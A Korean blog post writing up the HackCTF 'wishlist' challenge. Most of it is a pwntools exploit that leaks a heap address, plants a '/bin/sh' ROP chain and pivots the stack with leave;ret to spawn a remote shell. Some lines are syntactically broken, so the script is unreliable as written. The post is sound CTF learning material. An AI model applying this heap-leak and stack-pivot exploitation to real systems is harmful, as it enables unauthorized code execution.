Osori Development Studio

[HackCTF] wishlist write up 본문

전공쪽/HackCTF

[HackCTF] wishlist write up

OSOR2 2020. 9. 21. 15:31

 기본적으로 stack pivot 문제이다. 서버와 로컬의 환경이 많이 다른지 서버익스가 안되는데,  홈피에서도 로컬익스만 되면 dm달라고 하는 걸 보변 문제가 꽤 있었나보다. 일단 이 문제에서 배운점 .

 

system 함수를 호출할 때, (이전에 호출한 적이 없을 시) 공간을 겁나 많이 먹는다. 따라서 스택 피벗 할때에도 공간을 넉넉하게 엄청 넉넉하게 주도록 하자. 

 

from pwn import*
read_leave_ret=0x4008be
pop_rdi_ret=0x400b03
puts_got=0x601020
system=0x4006c0
get_index=0x400978
puts=0x4006b0
bss=0x6010e0+0x100
leave_ret=0x400a4a
p=process('./wishlist')
p=remote('ctf.j0n9hyun.xyz',3035)
add_rsp_8=0x00400b18
ELF('./wishlist')
def make(wish):
    p.recvuntil('input:')
    p.sendline('1')
    p.recvuntil('wishlist: ')
    p.send(wish)
 
def view(index):
    p.recvuntil('input:')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(index))
 
def delete(index):
    p.recvuntil('input:')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(index))
 
make('/bin/sh\x00'#0
make('/bin/sh\x00'#1
delete(0)
delete(1)
 
make('\x01'#0
make('\x01'#0
make('/bin/sh\x00')
view(2)
heap=u64(p.recv(4).ljust(8,'\x00'))
 
heap-=1
binsh=heap+0xa0
print('heap : '+hex(heap))
for i in range(0x100) :
    make('A')
 
pl=p64(pop_rdi_ret) #heap+0xb0 
pl+=p64(binsh)
pl+=p64(system)
make(pl)
p.recvuntil('input:')
 
pl='A'*0x10
pl+=p64(heap+0x20b8)
pl+=p64(leave_ret)
p.send(pl)
 
p.interactive()
 
cs

'전공쪽 > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable_3 write up  (0) 2020.09.22